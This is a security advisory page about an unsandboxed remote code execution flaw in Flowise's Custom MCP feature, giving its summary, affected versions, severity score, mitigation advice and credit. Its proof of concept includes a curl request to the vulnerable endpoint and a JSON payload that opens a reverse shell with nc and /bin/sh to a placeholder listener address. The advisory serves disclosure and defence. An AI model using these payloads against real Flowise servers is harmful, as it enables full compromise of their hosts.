AI and data stack advisories

Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

FlowiseGHSA-6933-jpx5-q87q

Flowise has unsandboxed remote code execution via Custom MCP

Flowise

CVE-2025-71336 · Published Sep 15, 2025 · updated Nov 3, 2026

Critical9.8
Fix: upgrade to 3.0.6 or later
GitHub advisory

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc):

https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

2. Create a new file named payload.json somewhere in your machine, with the following data:

`

{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}

`

3. Send the following curl request using the payload.json file created above with the following command:

`

curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"...

Affected versions

PackageAffectedFixed in
flowise
npm
>= 2.2.7-patch.1, < 3.0.63.0.6

Changes since it was listed

CVSS scoreNov 4CVSS score: none to 9.8
SeverityNov 4Severity: High to Critical
Details and references

### Summary The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables. This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server. ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker 2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"} ``` 3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ``` 4. Observe that a new file named `yofitofi` is created under `/tmp` folder. Similarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload: ``` {"inputs":{"mcpServerConfig":{"command": "nc","args": [ "<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh" ]}}, "loadMethod":"listActions"} ``` ![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6) ### Impact Remote code execution ### Mitigation - Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment ### Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-78, CWE-862
Also known as
CVE-2025-71336

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